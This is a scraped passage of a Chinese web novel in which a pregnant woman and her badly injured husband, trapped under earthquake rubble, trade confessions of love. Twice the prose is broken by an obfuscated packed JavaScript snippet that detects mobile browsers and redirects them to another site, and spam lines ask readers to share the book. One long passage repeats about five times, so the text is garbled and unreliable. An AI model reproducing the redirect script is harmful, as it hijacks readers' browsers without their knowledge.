到现在他想的还是她的手从被子里拿出来会冷。 岑予衿摇头,“不冷……我一点都不冷。” 她身上裹着羽绒被,头上还护着一个枕头。 暖烘烘的,一点也不冷。 “你往……往床底下……摸摸……” 床底下? 岑予衿泪眼模糊,不明白他此刻为什么要提这个。 “床头柜……打翻了……东西……应该掉下去了……” 他断断续续地解释,呼吸愈发艰难,却还是强撑着把话说完,“有水……巧克力……我买的……应急包里的……你摸摸……省着点吃……能撑……” 原来,在地震发生,房屋倾倒的瞬间,他不仅用身体护住了她,还拼着最后的清醒,在剧烈的晃动中,将床头柜上那个他早已准备好的小应急包扫到了床底更安全的位置! 岑予衿的泪水奔涌得更凶,心口疼得几乎要裂开。 都这个时候了,他流了那么多血,命悬一线,心里惦记的,竟然还是她和宝宝会不会渴,会不会饿,能不能撑到救援队到来! “阿洲……”她哽咽着,几乎说不出完整的句子。 “快……摸摸……摸到了,告诉我,快一点!”他催促,声音越来越低,气息奄奄。 要是没有找到,他怎么放心的下来? “保存体力……等救援……笙笙……听话 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ……” 最后两个字轻得如同叹息带着无尽的眷恋。 岑予衿不敢再犹豫她知道这是他拼尽全力为她争取的生机。 她咬着牙忍着剧烈的腹痛和心中的剧痛艰难地将手从他脸颊边收回凭着记忆和对空间的感知一点点向身侧摸索。 手肘蹭过冰冷粗糙的地面和碎屑终于摸到了床沿……或者说是倒塌的床板边缘。 她小心翼翼地将手臂探入床板与地面之间那道狭窄的缝隙。 指尖先是触碰到冰凉的金属罐头应该是那瓶水。 她将它拨到一边继续摸索很快碰到一个塑料包装的东西。 她抓住它慢慢抽了出来果然是应急巧克力高能量易保存的那种。 手里握着这两样东西却比握着烙铁还烫手。 这哪里是食物和水这分明是他用最后的清醒和力量为她铺下的染血的生路。 “找……到了吗?”陆京洲的声音已经微弱到几乎听不见但他似乎一直在等她的回应。 “找到了……”岑予衿泣不成声“阿洲……我找到了……你喝点水好不好?” 她哆哆嗦嗦地想拧开瓶盖却发现一只手根本做不到而且他现在的姿势根本喂不进去。 “你……喝……”他几乎是气音了“宝宝……需要……别管我……” “陆京洲!”岑予衿绝望地低吼“你不许睡!你看着我!救援马上来了!我们一起喝!一起等!” “好……一起等……”陆京洲的声音细不可闻像是从遥远的地底传来带着一种虚幻的缥缈。 他的呼吸变得更加浅促每一次吸气都带着湿漉漉的杂音。 他不再说话甚至连那微弱的回应都停止了。 黑暗中只剩下他越来越微弱的呼吸声和岑予衿自己狂乱的心跳。 可岑予衿能清晰地感觉到那护在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009039|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶和背脊上的手臂那弓起的身躯形成的屏障那以血肉之躯硬生生为她撑起的狭小空间……没有丝毫松懈。 他甚至还在用最后残存的本能的意志对抗着背上那足以压垮一切的重量。 那支撑的姿势 仿佛只要他还有一丝气息这副躯壳就会永远维持着守护的姿态。 “阿洲……你跟我说说话……你别睡……” 岑予衿的眼泪已经流干了喉咙嘶哑得发不出太大的声音只能一遍遍徒劳地 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 低唤。 手指紧紧攥着那瓶水和巧克力,指甲几乎要掐进塑料包装里。 “你说过的,每次产检都要陪我,要陪我进产房。生出来的宝宝,你要第一个抱的,又想骗人对不对?” “阿洲……我真的好害怕!我求你了,我真的一个亲人都没有了,你别丢下我。” 她不敢动,怕任何一点微小的移动都会耗尽他最后支撑的力量。 “笙笙……一开始的我没想过你会是我此生挚爱。”陆京洲的声音几乎听不到了。 岑予衿浑身一僵,小心翼翼的抚上他的脸,眼泪不断的滑落,“陆京洲,我也没想到后来的我会非你不可。” 陆京洲听到她的话,眼尾传来了湿意…… 大滴大滴滑落。 “对不起,让你受苦了,要是……乖乖待在家,不带你出门就好了。” “不是这样的,和你一点关系都没有,一点都没有……都是我的错,是我太作了了……” 岑予衿的话戛然而止,头顶的呼吸愈发微弱……她的心就像被刀子一刀刀划过,痛的无法呼吸。 “阿洲……” 刚才还有回应的声音,此刻已经消失殆尽…… 时间在极致的恐惧和煎熬中缓慢爬行。 每一秒,都像有一把钝刀在凌迟她的心。 她能感觉到他身体的温度在一点点流失,隔着衣物传递过来的冰冷,比身下的地面更让她绝望。 所有人都说她是煞星,克夫克全家…… 那时的她觉得委屈难过…… 可事实告诉她……就是这样没错。 第208章 坦白一个秘密 岑予衿的喉咙里涌上一股腥甜的铁锈味,死死咬着牙,才没让那口血咳出来。 视线里的黑暗越来越浓,浓得像是要把她整个人吞噬,只有陆京洲那微弱得几乎要断掉的呼吸声,还在一下下敲打着她的神经。 所有人都说她是煞星,克夫克全家,不配活在这个世上。 那时的她觉得委屈难过,觉得那些流言蜚语像淬了毒的针,扎得她体无完肤。 可现在,她信了,她彻彻底底地信了。 她的手缓缓抚上自己隆起的小腹,那里是她和陆京洲的两个宝宝,是曾经让她觉得满心欢喜,觉得是上天馈赠的宝贝。 可此刻,这小小的凸起却像一块滚烫的烙铁,烫得她指尖发颤,烫得她心口寸寸成灰。 “陆京洲……”她的声音破碎得不成样子,带着浓重的哭腔,却又压抑得厉害,生怕自己的声音大一点,就会彻底打散他那点残存的气息,“我后悔了……” 她的指尖划过他冰冷的脸颊,触到那些早已干涸的血痂,触感粗糙得让她眼眶再次发酸。 “我后悔遇到你了。” 如果没有那次意外相遇,如果她没有一时鬼迷心窍,是不是一切都不会发生? 他还是那个高高在上、无人敢惹的陆家二世祖。 身边会有门当户对的女子相伴,会有一个顺遂安稳的人生,或者是继续潇洒的一个人活着。 而不是像现在这样,被压在这片暗无天日的废墟之下,用自己的血肉之躯,为她撑起这一方狭窄得可怜的生的空间。 “我后悔……爬你的床了。” 她还记得那晚的月光,记得他身上清冽的雪松味。 再后来……她越来越贪心。 她贪恋着他的庇护,贪恋着他给的那一点点温暖,像个不知足的孩子,一点点地靠近,一点点地纠缠,把他拖进了自己这摊泥泞的人生里。 她的手越收越紧,指甲深深嵌进掌心,渗出血丝来,可她却感觉不到疼。 “我最后悔的……是怀上这两个宝宝。” 这句话像一把利刃,狠狠刺穿了她的心脏,疼得她浑身痉挛。 眼泪汹涌而出,砸在自己的手背上,冰凉刺骨。 如果没有这个孩子,他是不是就不会不顾一切地护着她? 是不是就不会在地震发生的那一刻,毫不犹豫地扑过来,用自己的背,挡住那些砸下来的钢筋水泥? “是我……是我把你们拖进了深渊。”岑予衿的声音哽咽得几乎听不见,肩膀剧 烈地颤抖着,“都是我的错……是我害了你,害了两个宝宝……” 她的头抵在他的胸口,听着他那微弱得几乎要消失的心跳声,绝望像潮水般将她淹没。 “如果时间能重来……我宁愿……从来没有见过你。” 至少那样,他还好好的。 至少那样,他不会落得这般境地。 至少那样,他的人生里,不会有她这个煞星,不会有这场灭顶的灾难。 她的话音落下,狭小的空间里只剩下她压抑的呜咽声,和他那若有若无的呼吸声。 岑予衿的头抵着他冰冷的胸膛,听着那微弱得几乎要湮灭的心跳,指尖缓缓往上,想去牵他的手。 那双手,记忆中是那样温热有力,能轻易将她圈进怀里,能替她挡下所有风雨。 此刻却像焊在了坍塌的墙面和床板之间,指节绷得发白,青筋狰狞地凸起。 哪怕意识已经沉沦,哪怕身体早已被剧痛和失血掏空,那手臂依旧保持着撑住上方重量的姿势,纹丝不动。 岑予衿的指尖蹭过他冰冷的手背,眼泪像断了线的珠子 她用尽全身力气,想把他的手拉过来,想让他稍微放松一点,哪怕只是分毫,可那只手就像生了根,任凭她怎么拽,怎么晃,都纹丝不动。 “陆京洲……”她哽咽着,声音里带着近乎崩溃的绝望,“你松开一点好不好?求你了……” 回应她的,只有废墟外隐约传来的风声,和他胸口那若有若无的起伏。 岑予衿的力气一点点耗尽,她瘫软在他怀里,脸颊贴着他冰冷的衬衫。 鼻尖萦绕着挥之不去的血腥味和他身上淡淡的雪松味,那味道曾经是她最安心的依靠,此刻却让她心如刀绞。 她看着自己微微隆起的小腹,那里有两个小小的生命,是她和他的孩子,是他们满心期待的宝贝。 她想起他得知怀了双胞胎时,眼底抑制不住的喜悦,想起他小心翼翼贴着她肚子听胎心的模样,想起他一遍遍摸着她的肚子,柔声说“笙笙,以后我们一家四口,要永远在一起”。 永远…… 原来永远这么短。 岑予衿的嘴角扯出一抹惨淡的笑,眼泪却流得更凶了。 她抬手,轻轻覆在他那只撑着墙壁的手上,额头抵着他的手背,声音轻得像一缕烟,带着一丝认命的悲凉。 “也好……这样也好……” “你要是撑不住了,那就……那就带着我和宝宝一起走。” “一家四口 ,死在这儿,整整齐齐的,也不错。” 她的手指慢慢收紧,抱住他的腰,黑夜中和他融为一体。 “陆京洲,我跟你说真的。”她的声音很轻,却带着斩钉截铁的决绝,“你要是有什么事儿,我绝不独活。” “我不想一个人活着,不想……” 她的话还没说完,忽然感觉到掌心下的手指,似乎极其轻微地,动了一下。 那动作太细微了,细微得像是错觉,却让岑予衿的心脏猛地一缩,瞬间停止了呼吸。 那一下微弱的动弹,像是投入死水中的一粒石子,在岑予衿早已绝望的心湖里,激起了惊涛骇浪。 她猛地屏住呼吸,几乎以为自己出现了幻觉。 所有的呜咽和颤抖都僵住了,全部的感官都集中在那只冰冷的手上。 时间仿佛凝滞了数秒。 随后她清晰地感觉到,一只被鲜血浸染的手,极其缓慢地,却又无比坚定地,反握住了她颤抖的指尖。 力道那么轻,轻得像羽毛拂过,却带着不可思议的意志。 “……胡……说……” 破碎的气音,从头顶传来,微弱得如同风中残烛,却清晰地钻进岑予衿的耳朵里。 那声音嘶哑干裂,几乎不似人声,却瞬间点燃了她眼里死寂的光。 “陆京洲?!”她不敢置信地抬头,泪眼朦胧中,拼命想看清他隐在黑暗里的脸,“阿洲,你还活着?你……” “笙笙……”他又断断续续地叫她的名字,每一个字都像是从破碎的胸腔里挤出来,带着血沫的腥气,“闭嘴……” “我……” “你……不是什么……煞星……”他艰难地喘息着,每一次呼吸都带着沉重的杂音,仿佛破旧的风箱,“是我陆京洲的……福星……” 福星? 这两个字像惊雷一样在她脑海中炸开。她愣住,以为自己听错了。 “从来……不后悔……”他停顿了很久,似乎在积蓄那点可怜的力气,“遇到你……” 泪水再次决堤,比刚才更加汹涌。 这一次,却不是绝望,而是某种滚烫的、几乎要将她灼伤的情绪。 “可是……如果不是我……你根本不会在这里……不会……”她语无伦次,心痛得无法呼吸。 “没有如果。”他打断她,声音里竟奇异地透出一丝往日的执拗,尽管微弱,“一切都是最好的安排,不要再说这样的话了好不好?我会很难受!” 岑予衿被他那句“会很难 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009040|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 受”噎住,所有的自责和悲恸都卡在喉咙里,化成更汹涌的泪水,掺杂了难以言喻的心疼和酸楚。 都这种时候了,他还在意她说不说“后悔”? 黑暗里,她感觉到他的拇指极其缓慢地、安抚性地蹭了蹭她的虎口。 那动作带着他惯有的温柔底色,哪怕此刻如此虚弱。 “嗯。”她终于从喉咙里挤出一个音节,带着浓重的鼻音,用力点头,也不管他看不看得见,“不说了……我不说了……” “乖……”他似乎松了口气,那支撑着的手臂微微颤了一下,又立刻稳住。 短暂的沉默里,只有两人交缠的都不平稳的呼吸声。 血腥气和尘土味依旧弥漫,却又带着某种劫后余生的暖流。 她听到他忽然开口,声音依旧嘶哑微弱,却带上了一丝……让她难以置信的调侃语调。 “……老婆……” 岑予衿的心尖猛地一颤。 这个称呼,在过往的亲密时刻他偶尔会唤,但此刻听来,却让她五脏六腑都揪紧了。 “嗯?”她下意识应道,声音轻得如同耳语。 “真的是你……主动爬了我的床吗?”他问,气若游丝,断断续续。 岑予衿却莫名听出了一点……执拗的求证,甚至是一丝极淡的独属于陆京洲式的得意? 岑予衿愣住了,脸颊在黑暗中隐隐发烫。 都什么时候了,他怎么会想起问这个? 是失血过多糊涂了吗? “我……”她张了张嘴,想起那个混乱又旖旎的夜晚,月光,雪松香,还有自己鼓足勇气又慌不择路的举动,一时语塞。 “是不是……”他没等她回答,又自顾自地、艰难地继续问道,气息更弱了,却还在坚持,“那时候……就很爱我了,蓄谋已久?” “陆京洲!”岑予衿又羞又急,更多的是无法言喻的心痛。 他到底知不知道自己伤得多重? 还有心思说这些? “是不是……”他像是没听到她的羞恼,执着地追问最后一个问题,声音几乎轻不可闻,带着一种孩子气的求证,“被我的……颜值所折服?” 最后几个字,轻得像叹息,飘散在黑暗里,却像一块滚烫的炭,烙在了岑予衿的心上。 泪水再次失控地涌出。这一次,不再是绝望的冰冷,而是滚烫的,带着无尽酸涩和爱意的洪流。 这个傻子! 这个到死都要维护她那点可笑自尊和愧疚。 她用力回握他冰冷的手,把脸深深埋进他颈窝,感受着他微弱却真实的脉搏,哭得浑身颤抖。 很久很久之后才终于找回了自己的声音,带着哭腔,却又无比清晰,一字一句地回应他这不合时宜的玩笑: “是……是我爬的……” “是……从那时候起,就……就爱上你了,爱得不可救药……” “是……被你的‘颜值’折服,行了吧?陆京洲,你最好看,全世界你最好看……” 她语无伦次,哭得上气不接下气,却把每一个字都说得清清楚楚。 黑暗中,她似乎听到他极轻地、满足地喟叹了一声。 “那就……好。”他气音微弱,却带着尘埃落定般的安心,“我这辈子,赚了……” 岑予衿抱紧他,不再说话,只是无声地流泪,用尽全身力气去感受他微弱的存在。 岑予衿:“阿洲,你别睡,我和你说件事儿好不好?” 陆京洲声音微弱,“嗯……笙笙要说什么?” 岑予衿:“坦白一个秘密……一个你从来都不知道的秘密。” 第209章 我是岑予衿 陆京洲只觉得眼皮很沉,他想回答她的话,想陪她更久一些。 可是……实在是太累太累了。 他知道她一个人待在这么黑的地方会害怕。 他也不放心,让她一个人待在这儿。 她还怀着宝宝,他想等到救援队的人过来,想看到她和宝宝都平平安安的。 要不然他是真的放心不下来。 可是……可是他真的快坚持不住了。 和她在一起的这几个月就像是做梦一样。 也是他为数不多的正常又快乐的日子,可是为什么这样的日子不能再长一些呢。 他也想看着宝宝出生,陪着宝宝长大,陪着她一点点,慢慢变老。 可是……他应该没有这个机会了。 “笙笙…… 岑予衿听着几乎要听不到的声音,下意识的回答,“嗯~阿洲你还能听到我说话吗? 陆京洲这会已经什么都听不到了,耳边只剩下嗡鸣声,却也还是顺着她的话回答了,“你说……我听着呢……笙笙……我真的真的……好爱你!我会坚持住的。 “你也要坚持住,护着宝宝……但前提是别让自己受伤! “晚上有喝热牛奶的习惯,这个习惯很好,好好保持…… “有时间要回去多陪陪奶奶! 岑予衿听着他像交代遗言的话,打断了他,“我说我有一个秘密要跟你坦白,你到底要不要听? 